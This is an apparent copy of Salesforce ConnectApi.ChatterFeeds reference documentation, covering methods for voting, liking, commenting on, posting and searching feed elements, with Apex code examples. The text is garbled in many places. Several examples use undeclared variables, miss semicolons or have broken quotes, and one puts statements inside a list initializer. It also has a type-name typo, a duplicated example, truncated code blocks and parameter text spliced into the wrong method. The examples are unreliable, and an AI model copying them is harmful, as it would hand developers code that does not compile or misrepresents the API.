getVotesForFeedElement(communityId, feedElementId, vote, pageParam, pageSize)

Get a page of users who upvoted or downvoted a feed element.

API Version
42.0

Available to Guest Users
42.0

Requires Chatter
Yes

Signature
public static ConnectApi.VotePage getVotesForFeedElement(String communityId, String feedElementId, ConnectApi.UpDownVoteValue vote, Integer pageParam, Integer pageSize)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedElementId
Type: String
ID of the feed element.

vote
Type: ConnectApi.UpDownVoteValue
Specifies the value of the vote for the feed element. Values are:
- Down
- Up
You can’t specify None.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.VotePage
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.
**isCommentEditableByMe(communityId, commentId)**

Discover whether the context user can edit a comment.

**API Version**
34.0

**Requires Chatter**
Yes

**Signature**

```java
public static ConnectApi.FeedEntityIsEditable isCommentEditableByMe(String communityId, String commentId)
```

**Parameters**

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.

- `commentId`
  - Type: `String`
  - ID of the comment.

**Return Value**

Type: `ConnectApi.FeedEntityIsEditable`

If the comment doesn’t support the `edit` capability, the return value is `ConnectApi.NotFoundException`.

SEE ALSO:

- [Edit a Comment](#)

**isFeedElementEditableByMe(communityId, feedElementId)**

Discover whether the context user can edit a feed element.

**API Version**
34.0

**Requires Chatter**
Yes
Signature

```java
public static ConnectApi.FeedEntityIsEditable isFeedElementEditableByMe(String communityId, String feedElementId)
```

Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.

- **feedElementId**
  - Type: `String`
  - ID of the feed element. Feed items are the only type of feed element that can be edited.

Return Value

- Type: `ConnectApi.FeedEntityIsEditable`
- If the feed element doesn’t support the `edit` capability, the return value is `ConnectApi.NotFoundException`.

SEE ALSO:
- Edit a Feed Element
- Edit a Question Title and Post

### isModified(communityId, feedType, subjectId, since)

Discover whether a news feed has been updated or changed. Use this method to poll a news feed for updates.

**Important:** This feature is available through a Feed Polling pilot program. This pilot program is closed and not accepting new participants.

API Version

28.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.FeedModifiedInfo isModified(String communityId, ConnectApi.FeedType feedType, String subjectId, String since)
```

Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.
feedType
Type: ConnectApi.FeedType
Specifies the type of feed. The only supported type is News

subjectId
Type: String
The ID of the context user or the alias me.

since
Type: String
An opaque token containing information about the last modified date of the feed. Retrieve this token from the FeedElementPage.isModifiedToken property.

Return Value
Type: ConnectApi.FeedModifiedInfo

likeComment(communityId, commentId)
Like a comment for the context user.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterLike likeComment(String communityId, String commentId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

commentId
Type: String
The ID for a comment.

Return Value
Type: ConnectApi.ChatterLike
If the context user has already liked the comment, this method is a non-operation and returns the existing like.
likeFeedElement(communityId, feedElementId)
Like a feed element.

API Version
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterLike likeFeedElement(String communityId, String feedElementId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedElementId
Type: String
ID of the feed element.

Return Value
Type: ConnectApi.ChatterLike
If the feed element doesn’t support the ChatterLikes capability, the return value is ConnectApi.NotFoundException.

Example
ConnectApi.ChatterLike chatterLike = ConnectApi.ChatterFeeds.likeFeedElement(null, '0D5D0000000KuGh');

postCommentToFeedElement(communityId, feedElementId, text)
Post a plain-text comment to a feed element.

API Version
32.0

Requires Chatter
Yes
Signature

```java
public static ConnectApi.Comment postCommentToFeedElement(String communityId, String feedElementId, String text)
```

Parameters

- `communityId`
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- `feedElementId`
  - Type: String
  - ID of the feed element.

- `text`
  - Type: String
  - Text of the comment. A comment can contain up to 10,000 characters.

Return Value

Type: `ConnectApi.Comment`

If the feed element doesn’t support the Comments capability, the return value is `ConnectApi.NotFoundException`.

Example

```java
ConnectApi.Comment comment = ConnectApi.ChatterFeeds.postCommentToFeedElement(null, '0D5D0000000KuGh', 'I agree with the proposal.' );
```

`postCommentToFeedElement(communityId, feedElementId, comment, feedElementFileUpload)`

Post a rich-text comment to a feed element. Use this method to include mentions and to attach a file.

API Version

32.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.Comment postCommentToFeedElement(String communityId, String feedElementId, ConnectApi.CommentInput comment, ConnectApi.BinaryInput feedElementFileUpload)
```

Parameters

- `communityId`
  - Type: String
Use the ID for an Experience Cloud site, internal, or null.

**feedElementId**
Type: **String**
ID of the feed element.

**comment**
Type: **ConnectApi.CommentInput**
The comment body, including text and mentions, and capabilities, such as information about an attached file. A comment can contain up to 10,000 characters.

**feedElementFileUpload**
Type: **ConnectApi.BinaryInput**
A new binary file to attach to the comment, or null. If you specify a binary file, specify the title and description of the file in the comment parameter.

**Return Value**
Type: **ConnectApi.Comment**
If the feed element doesn't support the Comments capability, the return value is **ConnectApi.NotFoundException**.

**Example for Posting a Comment with Mentions**
You can post comments with mentions two ways. Use the ConnectApiHelper repository on GitHub to write a single line of code, or use this method example.

```java
String communityId = null;
String feedElementId = '0D5D0000000KtW3';

ConnectApi.CommentInput commentInput = new ConnectApi.CommentInput();
ConnectApi.MentionSegmentInput mentionSegmentInput = new ConnectApi.MentionSegmentInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();

messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegmentInput.text = 'Does anyone in this group have an idea? '
messageBodyInput.messageSegments.add(textSegmentInput);
mentionSegmentInput.id = '005D00000000oOT';
messageBodyInput.messageSegments.add(mentionSegmentInput);

commentInput.body = messageBodyInput;

ConnectApi.Comment commentRep = ConnectApi.ChatterFeeds.postCommentToFeedElement(communityId, feedElementId, commentInput, null);
```

**Example for Posting a Comment with an Existing File**

```java
String feedElementId = '0D5D0000000KtW3';

ConnectApi.CommentInput commentInput = new ConnectApi.CommentInput();
```
Example for Posting a Comment with a New File

```java
String feedElementId = '0D5D0000000KtW3';

ConnectApi.CommentInput commentInput = new ConnectApi.CommentInput();

ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();

textSegmentInput.text = 'Enjoy this new file.';
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageBodyInput.messageSegments.add(textSegmentInput);
commentInput.body = messageBodyInput;

ConnectApi.CommentCapabilitiesInput commentCapabilitiesInput = new
ConnectApi.CommentCapabilitiesInput();
ConnectApi.ContentCapabilityInput contentCapabilityInput = new
ConnectApi.ContentCapabilityInput();

commentCapabilitiesInput.content = contentCapabilityInput;
contentCapabilityInput.contentDocumentId = '069D00000001rNJ';

commentInput.capabilities = commentCapabilitiesInput;

ConnectApi.Comment commentRep =
ConnectApi.ChatterFeeds.postCommentToFeedElement(Network.getNetworkId(), feedElementId, commentInput, null);
```

```java
String text = 'These are the contents of the new file.';
Blob myBlob = Blob.valueOf(text);
ConnectApi.BinaryInput binInput = new ConnectApi.BinaryInput(myBlob, 'text/plain', 'fileName');
```
Example for Posting a Rich-Text Comment with an Inline Image

You can post rich-text comments with inline images and mentions two ways. Use the ConnectApiHelper repository on GitHub to write a single line of code, or use this method example. In this example, the image file is existing content that has already been uploaded to Salesforce.

```java
String communityId = null;
String feedElementId = '0D5R0000000SBEr';
String imageId = '069R00000000IgQ';
String mentionedUserId = '005R0000000DiMz';

ConnectApi.CommentInput input = new ConnectApi.CommentInput();
ConnectApi.TextSegmentInput textSegment;
ConnectApi.MentionSegmentInput mentionSegment;
ConnectApi.MarkupBeginSegmentInput markupBeginSegment;
ConnectApi.MarkupEndSegmentInput markupEndSegment;
ConnectApi.InlineImageSegmentInput inlineImageSegment;

messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();

markupBeginSegment = new ConnectApi.MarkupBeginSegmentInput();
markupBeginSegment.markupType = ConnectApi.MarkupType.Bold;
messageInput.messageSegments.add(markupBeginSegment);

textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'Hello ';
messageInput.messageSegments.add(textSegment);

mentionSegment = new ConnectApi.MentionSegmentInput();
mentionSegment.id = mentionedUserId;
messageInput.messageSegments.add(mentionSegment);

textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = '!';
messageInput.messageSegments.add(textSegment);

markupEndSegment = new ConnectApi.MarkupEndSegmentInput();
markupEndSegment.markupType = ConnectApi.MarkupType.Bold;
messageInput.messageSegments.add(markupEndSegment);

inlineImageSegment = new ConnectApi.InlineImageSegmentInput();
inlineImageSegment.altText = 'image one';
inlineImageSegment.fileId = imageId;
messageInput.messageSegments.add(inlineImageSegment);

input.body = messageInput;
```
Example for Posting a Rich-Text Comment with a Code Block

```java
String communityId = null;
String feedElementId = '0D5R0000000SBEr';
String codeSnippet = '<html>
	<body>
		Hello, world!
	</body>
</html>';

ConnectApi.CommentInput input = new ConnectApi.CommentInput();
ConnectApi.TextSegmentInput textSegment;
ConnectApi.MarkupBeginSegmentInput markupBeginSegment;
ConnectApi.MarkupEndSegmentInput markupEndSegment;

messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();

markupBeginSegment = new ConnectApi.MarkupBeginSegmentInput();
markupBeginSegment.markupType = ConnectApi.MarkupType.Code;
messageInput.messageSegments.add(markupBeginSegment);

textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = codeSnippet;
messageInput.messageSegments.add(textSegment);

markupEndSegment = new ConnectApi.MarkupEndSegmentInput();
markupEndSegment.markupType = ConnectApi.MarkupType.Code;
messageInput.messageSegments.add(markupEndSegment);

input.body = messageInput;

ConnectApi.ChatterFeeds.postCommentToFeedElement(communityId, feedElementId, input, null);
```

**postFeedElement(communityId, subjectId, feedElementType, text)**

Post a plain-text feed element.

**API Version**

31.0

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.FeedElement postFeedElement(String communityId, String subjectId, ConnectApi.FeedElementType feedElementType, String text)
```
Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**subjectId**
Type: String
The ID of the parent this feed element is being posted to. This value can be the ID of a user, group, or record, or the string me to indicate the context user.

**feedElementType**
Type: `ConnectApi.FeedElementType`
The only possible value is FeedItem.

**text**
Type: String
The text of the feed element. A feed element can contain up to 10,000 characters.

Return Value
Type: `ConnectApi.FeedElement`

Example

```java
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), '0F9d0000000TreH',
ConnectApi.FeedElementTypeType.FeedItem, 'On vacation this week.');
```

**postFeedElement(communityId, feedElement)**
Post a rich-text feed element. Include mentions and hashtag topics, attach already uploaded files to a feed element, and associate action link groups with a feed element. You can also use this method to share a feed element and add a comment.

API Version
36.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.FeedElement postFeedElement(String communityId,
ConnectApi.FeedElementInput feedElement)
```

Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, `internal`, or `null`.

**feedElement**

Type: `ConnectApi.FeedElementInput`

Specify rich text, including mentions. Optionally, specify a link, a poll, or up to 10 existing files.

**Return Value**

Type: `ConnectApi.FeedElement`

**Example for Posting a Feed Element with a Mention**

You can post feed elements with mentions two ways. Use the `ConnectApiHelper` repository on GitHub to write a single line of code, or use this method example.

```java
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
ConnectApi.MentionSegmentInput mentionSegmentInput = new ConnectApi.MentionSegmentInput();
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>(){
    mentionSegmentInput.id = '005RR000000Dme9';
    messageBodyInput.messageSegments.add(mentionSegmentInput);
    textSegmentInput.text = 'Could you take a look?';
    messageBodyInput.messageSegments.add(textSegmentInput);
};
feedItemInput.body = messageBodyInput;
feedItemInput.feedElementType = ConnectApi.FeedElementType.FeedItem;
feedItemInput.subjectId = '0F9RR0000004CPw';
ConnectApi.FeedElement feedElement =
    ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);
```

**Example for Posting a Feed Element with Existing Content**

```java
// Define the FeedItemInput object to pass to postFeedElement
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
feedItemInput.subjectId = 'me';
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
textSegmentInput.text = 'Would you please review these docs?';
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;

// The MessageBodyInput object holds the text in the post
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>(){
    messageBodyInput.messageSegments.add(textSegmentInput);
};
feedItemInput.body = messageBodyInput;

// For this feed item, we define a files capability to hold the file(s).
```
Example for Posting a Rich-Text Feed Element with an Inline Image

You can post rich-text feed elements with inline images and mentions two ways. Use the ConnectApiHelper repository on GitHub to write a single line of code, or use this method example. In this example, the image file is existing content that has already been uploaded to Salesforce. The post also includes text and a mention.

```java
String communityId = null;
String imageId = '069D00000001INA';
String mentionedUserId = '005D0000001QNpr';
String targetUserOrGroupOrRecordId = '005D0000001Gif0';
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.subjectId = targetUserOrGroupOrRecordId;
input.feedElementType = ConnectApi.FeedElementType.FeedItem;
ConnectApi.TextSegmentInput textSegment;
ConnectApi.MentionSegmentInput mentionSegment;
ConnectApi.MarkupBeginSegmentInput markupBeginSegment;
ConnectApi.MarkupEndSegmentInput markupEndSegment;
ConnectApi.InlineImageSegmentInput inlineImageSegment;
messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
markupBeginSegment = new ConnectApi.MarkupBeginSegmentInput();
markupBeginSegment.markupType = ConnectApi.MarkupType.Bold;
messageInput.messageSegments.add(markupBeginSegment);
textSegment = new ConnectApi.TextSegmentInput();
messageInput.messageSegments.add(textSegment);
```

Example for Posting a Rich-Text Feed Element with an Inline Image

You can post rich-text feed elements with inline images and mentions two ways. Use the ConnectApiHelper repository on GitHub to write a single line of code, or use this method example. In this example, the image file is existing content that has already been uploaded to Salesforce. The post also includes text and a mention.

```java
String communityId = null;
String imageId = '069D00000001INA';
String mentionedUserId = '005D0000001QNpr';
String targetUserOrGroupOrRecordId = '005D0000001Gif0';
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.subjectId = targetUserOrGroupOrRecordId;
input.feedElementType = ConnectApi.FeedElementType.FeedItem;
ConnectApi.TextSegmentInput textSegment;
ConnectApi.MentionSegmentInput mentionSegment;
ConnectApi.MarkupBeginSegmentInput markupBeginSegment;
ConnectApi.MarkupEndSegmentInput markupEndSegment;
ConnectApi.InlineImageSegmentInput inlineImageSegment;
messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
markupBeginSegment = new ConnectApi.MarkupBeginSegmentInput();
markupBeginSegment.markupType = ConnectApi.MarkupType.Bold;
messageInput.messageSegments.add(markupBeginSegment);
textSegment = new ConnectApi.TextSegmentInput();
```
messageInput.messageSegments.add(textSegment);

mentionSegment = new ConnectApi.MentionSegmentInput();
mentionSegment.id = mentionedUserId;
messageInput.messageSegments.add(mentionSegment);

textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = '!
messageInput.messageSegments.add(textSegment);

markupEndSegment = new ConnectApi.MarkupEndSegmentInput();
markupEndSegment.markupType = ConnectApi.MarkupType.Bold;
messageInput.messageSegments.add(markupEndSegment);

inlineImageSegment = new ConnectApi.InlineImageSegmentInput();
inlineImageSegment.altText = 'image one';
inlineImageSegment.fileId = imageId;
messageInput.messageSegments.add(inlineImageSegment);

input.body = messageInput;
ConnectApi.ChatterFeeds.postFeedElement(communityId, input);

Example for Posting a Rich-Text Feed Element with a Code Block

String communityId = null;
String targetUserOrGroupOrRecordId = 'me';
String codeSnippet = '<html>
	<body>
		Hello, world!
	</body>
</html>';  
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.subjectId = targetUserOrGroupOrRecordId;
input.feedElementType = ConnectApi.FeedElementType.FeedItem;

ConnectApi.TextSegmentInput textSegment;
ConnectApi.MarkupBeginSegmentInput markupBeginSegment;
ConnectApi.MarkupEndSegmentInput markupEndSegment;

messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>(){};

markupBeginSegment = new ConnectApi.MarkupBeginSegmentInput();
markupBeginSegment.markupType = ConnectApi.MarkupType.Code;
messageInput.messageSegments.add(markupBeginSegment);

textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = codeSnippet;
messageInput.messageSegments.add(textSegment);

markupEndSegment = new ConnectApi.MarkupEndSegmentInput();
markupEndSegment.markupType = ConnectApi.MarkupType.Code;
messageInput.messageSegments.add(markupEndSegment);

input.body = messageInput;
Example for Sharing a Feed Element (in Version 39.0 and Later)

```java
// Define the FeedItemInput object to pass to postFeedElement
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();
feedItemInput.subjectId = 'me';
ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
textSegmentInput.text = 'Look at this post I’m sharing.';
// The MessageBodyInput object holds the text in the post
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;
ConnectApi.FeedEntityShareCapabilityInput shareInput = new
ConnectApi.FeedEntityShareCapabilityInput();
shareInput.feedEntityId = '0D5R0000000SEbc';
ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
feedElementCapabilitiesInput.feedEntityShare = shareInput;
feedItemInput.capabilities = feedElementCapabilitiesInput;
// Post the feed item.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);
```

Example for Sending a Direct Message

```java
// Define the FeedItemInput object to pass to postFeedElement
ConnectApi.FeedItemInput feedItemInput = new ConnectApi.FeedItemInput();

ConnectApi.TextSegmentInput textSegmentInput = new ConnectApi.TextSegmentInput();
textSegmentInput.text = 'Thanks for attending my presentation test run this morning. Send me any feedback.';

// The MessageBodyInput object holds the text in the post
messageBodyInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageBodyInput.messageSegments.add(textSegmentInput);
feedItemInput.body = messageBodyInput;

// The FeedElementCapabilitiesInput object holds the capabilities of the feed item.
// For this feed item, we define a direct message capability to hold the member(s) and the subject.
List<String> memberIds = new List<String>();
memberIds.add('005B00000016OUQ');
memberIds.add('005B0000001rIN6');

ConnectApi.DirectMessageCapabilityInput dmInput = new
ConnectApi.DirectMessageCapabilityInput();
dmInput.subject = 'Thank you!';
```
dmInput.membersToAdd = memberIds;

ConnectApi.FeedElementCapabilitiesInput feedElementCapabilitiesInput = new
ConnectApi.FeedElementCapabilitiesInput();
feedElementCapabilitiesInput.directMessage = dmInput;

feedItemInput.capabilities = feedElementCapabilitiesInput;

// Post the feed item.
ConnectApi.FeedElement feedElement =
ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), feedItemInput);

  Define an Action Link in a Template and Post with a Feed Element

**postFeedElementBatch(communityId, feedElements)**

Post a list of feed elements.

API Version
32.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.BatchResult[] postFeedElementBatch(String communityId,
List<ConnectApi.BatchInput> feedElements)
```

Parameters

**communityId**
Type: **String**
Use the ID for an Experience Cloud site, internal, or null.

**feedElements**
Type: **List<ConnectApi.BatchInput>**
The list can contain up to 500 ConnectApi.BatchInput objects. In the ConnectApi.BatchInput constructor, the input object must be a concrete instance of the abstract ConnectApi.FeedElementInput class.

Return Value

Type: **ConnectApi.BatchResult[]**
The ConnectApi.BatchResult.getResult() method returns a ConnectApi.FeedElement object. The returned objects correspond to each of the input objects and are returned in the same order as the input objects.
The method call fails only if an error occurs that affects the entire operation (such as a parsing failure). If an individual object causes an error, the error is embedded within the `ConnectApi.BatchResult` list.

Usage

Use this method to post a list of feed elements efficiently. Create a list containing up to 500 objects and insert them all for the cost of one DML statement.

In version 36.0 and later, you can attach only one already uploaded file to each post. The `ConnectApi.BatchInput` has three constructors, but the `postFeedElementBatch` method supports only `ConnectApi.BatchInput(Object input)` in version 35.0 and later. This constructor doesn't support a binary input.

In version 32.0–35.0, this method supports both `ConnectApi.BatchInput(Object input)` and `ConnectApi.BatchInput(Object input, ConnectApi.BinaryInput binary)` constructors. The `ConnectApi.BatchInput(Object input, ConnectApi.BinaryInput binary)` constructor allows for a single binary input.

In each constructor, the input object must be an instance of `ConnectApi.FeedElementInput`.

Example

This trigger bulk posts to the feeds of newly inserted accounts.

```java
trigger postFeedItemToAccount on Account (after insert) {
    Account[] accounts = Trigger.new;

    // Bulk post to the account feeds.
    List<ConnectApi.BatchInput> batchInputs = new List<ConnectApi.BatchInput>();

    for (Account a : accounts) {
        ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
        input.subjectId = a.id;

        body.messageSegments = new List<ConnectApi.MessageSegmentInput>();

        ConnectApi.TextSegmentInput textSegment = new ConnectApi.TextSegmentInput();
        textSegment.text = 'Let\'s win the ' + a.name + ' account."

        body.messageSegments.add(textSegment);
        input.body = body;

        ConnectApi.BatchInput batchInput = new ConnectApi.BatchInput(input);
        batchInputs.add(batchInput);
    }

    ConnectApi.ChatterFeeds.postFeedElementBatch(Network.getNetworkId(), batchInputs);
}
```

`publishDraftFeedElement(communityId, feedElementId, feedElement)`

Publish a draft feed element.
**API Version**
44.0

**Requires Chatter**
Yes

**Signature**

```java
public static ConnectApi.FeedElement publishDraftFeedElement(String communityId, String feedElementId, ConnectApi.FeedElementInput feedElement)
```

**Parameters**

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- `feedElementId`
  - Type: `String`
  - ID of the feed element to publish.

- `feedElement`
  - Type: `ConnectApi.FeedElementInput`
  - Use this optional parameter to edit your draft before publishing.

**Return Value**

- Type: `ConnectApi.FeedElement`
- The published feed element has a new ID.

**searchFeedElements(communityId, q)**

Get the first page of feed elements that match the search criteria.

**API Version**

31.0

**Available to Guest Users**

31.0

**Requires Chatter**

Yes
Signature

```java
public static ConnectApi.FeedElementPage searchFeedElements(String communityId, String q)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- `q`
  - Type: `String`
  - Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value

Type: `ConnectApi.FeedElementPage`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestSearchFeedElements(communityId, q, result)`
- Testing ConnectApi Code

**searchFeedElements(communityId, q, sortParam)**

Get the first page of sorted feed elements that match the search criteria.

API Version

31.0

Available to Guest Users

31.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.FeedElementPage searchFeedElements(String communityId, String q, ConnectApi.FeedSortOrder sortParam)
```
Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestSearchFeedElements(communityId, q, sortParam, result)
Testing ConnectApi Code

searchFeedElements(communityId, q, threadedCommentsCollapsed)
Get the feed elements and comments that match the search criteria.

API Version
44.0

Available to Guest Users
44.0
Requires Chatter
Yes

Signature

```java
public static ConnectApi.FeedElementPage searchFeedElements(String communityId, String q, Boolean threadedCommentsCollapsed)
```

Parameters

- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or `null`.

- `q`
  Type: `String`
  Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

- `threadedCommentsCollapsed`
  Type: `Boolean`
  Specifies whether to return threaded comments in a collapsed style (`true`) or not (`false`). If you pass in `null`, the default is `false`.

Return Value

Type: `ConnectApi.FeedElementPage`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestSearchFeedElements(communityId, q, threadedCommentsCollapsed, result)`
- Testing ConnectApi Code

```java
searchFeedElements(communityId, q, pageParam, pageSize)
```

Get a page of feed elements that match the search criteria.

API Version

31.0

Available to Guest Users

31.0
Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage searchFeedElements(String communityId, String q, String pageParam, Integer pageSize)

Parameters

communityId
   Type: String
   Use the ID for an Experience Cloud site, internal, or null.

q
   Type: String
   Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

pageParam
   Type: String
   The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
   Type: Integer
   Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
   setTestSearchFeedElements(communityId, q, pageParam, pageSize, result)

  - Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.
threadedCommentsCollapsed
   Type: Boolean
   Specifies whether to return threaded comments in a collapsed style (true) or not (false). If you pass in null, the default is false.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
   setTestSearchFeedElements(communityId, q, pageParam, pageSize, threadedCommentsCollapsed, result)
   Testing ConnectApi Code

searchFeedElements(communityId, q, recentCommentCount, pageParam, pageSize, sortParam)
Get a page of sorted feed elements that match the search criteria. Each feed element includes no more than the specified number of comments.

API Version
31.0

Available to Guest Users
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage searchFeedElements(String communityId, String q, Integer recentCommentCount, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)

Parameters
communityId
   Type: String
   Use the ID for an Experience Cloud site, internal, or null.
q
Type: **String**
Required and cannot be **null**. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See [Wildcards](#).

`recentCommentCount`
Type: **Integer**
Maximum number of comments to return with each feed element. The default value is 3.

`pageParam`
Type: **String**
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in **null**, the first page is returned.

`pageSize`
Type: **Integer**
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in **null**, the default size is 25.

`sortParam`
Type: **[ConnectApi.FeedSortOrder]**
Values are:
- `CreatedDateAsc`—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
- `CreatedDateDesc`—Sorts by most recent creation date.
- `LastModifiedDateDesc`—Sorts by most recent activity.
- `MostViewed`—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
- `Relevance`—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.

If you pass in **null**, the default value `CreatedDateDesc` is used.

**Return Value**
Type: **[ConnectApi.FeedElementPage]**

**Usage**
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

**SEE ALSO:**
- `setTestSearchFeedElements(communityId, q, recentCommentCount, pageParam, pageSize, sortParam, result)`
- Testing ConnectApi Code

**searchFeedElementsInFeed(communityId, feedType, q)**
Get the feed elements from the `Company`, `DirectMessageModeration`, `Home`, `Moderation`, and `PendingReview` feeds that match the search criteria.

searchFeedElementsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q)
Get a page of sorted feed elements from the Company, DirectMessageModeration, Home, Moderation, and PendingReview feeds that match the search criteria.
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId, ConnectApi.FeedType feedType, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
The type of feed. Valid values are Company, DirectMessageModeration, Home, Moderation, and PendingReview.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
 Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
